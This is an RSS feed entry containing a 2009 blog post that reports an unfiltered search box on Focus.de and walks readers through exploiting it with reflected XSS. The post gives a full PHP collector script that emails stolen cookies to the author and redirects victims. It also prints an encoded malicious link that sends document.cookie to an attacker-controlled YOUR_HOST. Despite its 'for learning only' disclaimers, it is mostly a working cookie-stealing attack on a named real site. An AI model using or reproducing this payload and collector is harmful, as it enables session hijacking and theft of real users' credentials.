		<description><![CDATA[After a long time without updates here&#8217;s a little special for you. Focus.de XSS Vulnerability Focus.de is using a searchbox without filtering the input. This leads to a very (!!) simple XSS Injection. Here&#8217;s a little table of the input and the output: Input: test Output: value=&#8220;test&#8220; Input: &#8222;test Output:value=&#8220;"test&#8220; Now that we successfully broke [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=50&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>After a long time without updates here&#8217;s a little special for you.</p>
<blockquote><p><em><strong>Focus.de XSS Vulnerability</strong></em></p></blockquote>
<p>Focus.de is using a searchbox without filtering the input. This leads to a very (!!) simple XSS Injection.</p>
<p>Here&#8217;s a little table of the input and the output:</p>
<blockquote>
<p style="text-align:left;">Input: test Output: value=&#8220;test&#8220;</p>
<p style="text-align:left;">Input: &#8222;test Output:value=&#8220;"test&#8220;</p>
</blockquote>
<p>Now that we successfully broke out of syntax we can have some fun. In this example i&#8217;m going to show you how to do your own simple cookie stealer.</p>
<p><strong>IMPORTANT: THIS IS FOR LEARNING ONLY. DO NOT DO THIS ON OTHER PERSONS THAN YOURSELF. I AM NOT RESPONSIBLE FOR YOUR ACTIONS OR RESULTING CONSEQUENCES.</strong></p>
<p>First we need to code a simple php site that collects the given cookies and alerts you via email (in this case i am using eMail notification, but it&#8217;s only one of much more options).</p>
<p>This is my collect.php</p>
<blockquote><p>&lt;?php</p>
<p>$p=$HTTP_GET_VARS["param"];</p>
<p>$Name = &#8222;email_alert&#8220;;</p>
<p>$email = &#8222;email_alert@cookie_stealer&#8220;;</p>
<p>$recipient = &#8222;writemecas@googlemail.com&#8220;;</p>
<p>$mail_body = &#8222;A new cookie has been logged: \n&#8220;.$p;</p>
<p>$subject = &#8222;New Cookie Alert&#8220;;</p>
<p>$header = &#8222;From: &#8222;. $Name . &#8220; &lt;&#8220; . $email . &#8222;&gt;\r\n&#8220;;</p>
<p>mail($recipient, $subject, $mail_body, $header);</p>
<p>Header(&#8222;Location: http://www.focus.de&#8220;);</p>
<p>exit();</p>
<p>?&gt;</p></blockquote>
<p>Some may ask why i am not using this:</p>
<blockquote><p>Header(&#8222;Location: $HTTP_REFERER&#8220;);</p></blockquote>
<p>Simply because it would lead to a loop. For a better understanding lets follow the flow if we use our normal redirection:</p>
<p><em>User clicks on the malicious link -&gt; User gets forwarded to our malicious site -&gt;  User gets forwarded to focus.de</em></p>
<p>Now we can have a look at the flow if we use the <strong>$HTTP_REFERER </strong>option:</p>
<p><em>User clicks on the malicious link -&gt; User gets forwarded to our malicious site -&gt; User gets forwarded to the original malicious link</em></p>
<p>So the problem is that the user always gets back to our malicious link and the loop starts again.</p>
<p>Basically that&#8217;s all we need. This is how my encrypted malicious link looks like:</p>
<blockquote><p><em>http://www.focus.de/service/suche?q=%22%3Cscript%3Edocument.location</em></p>
<p><em>%3D%22http%3A%2F%2Ft<strong>YOUR_HOST</strong>%2Fcollect.php%3Fparam</em></p>
<p><em>%3D%22%2Bdocument.cookie%3C%2Fscript%3E&amp;searchscope=</em></p>
<p><em>http%3A%2F%2Fwww.focus.de%2Fservice%2Fsuche&amp;x=14&amp;y=</em></p>
<p><em>7&amp;entqr=3&amp;getfields=image_for_search.date.obj</em></p>
<p><em>_type_gsa&amp;entsp=a&amp;sort=dt&amp;hl=en</em></p></blockquote>
<p><strong>AGAIN: THIS IS FOR TRAINING PURPOSES, DO NOT USE IT TO STEAL COOKIES OF SOMEONE ELSE!</strong></p>
<p><strong></strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/50/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=50&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2009/02/14/focusde-xss-vulnerability-cookie-stealer-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
	</channel>
</rss>
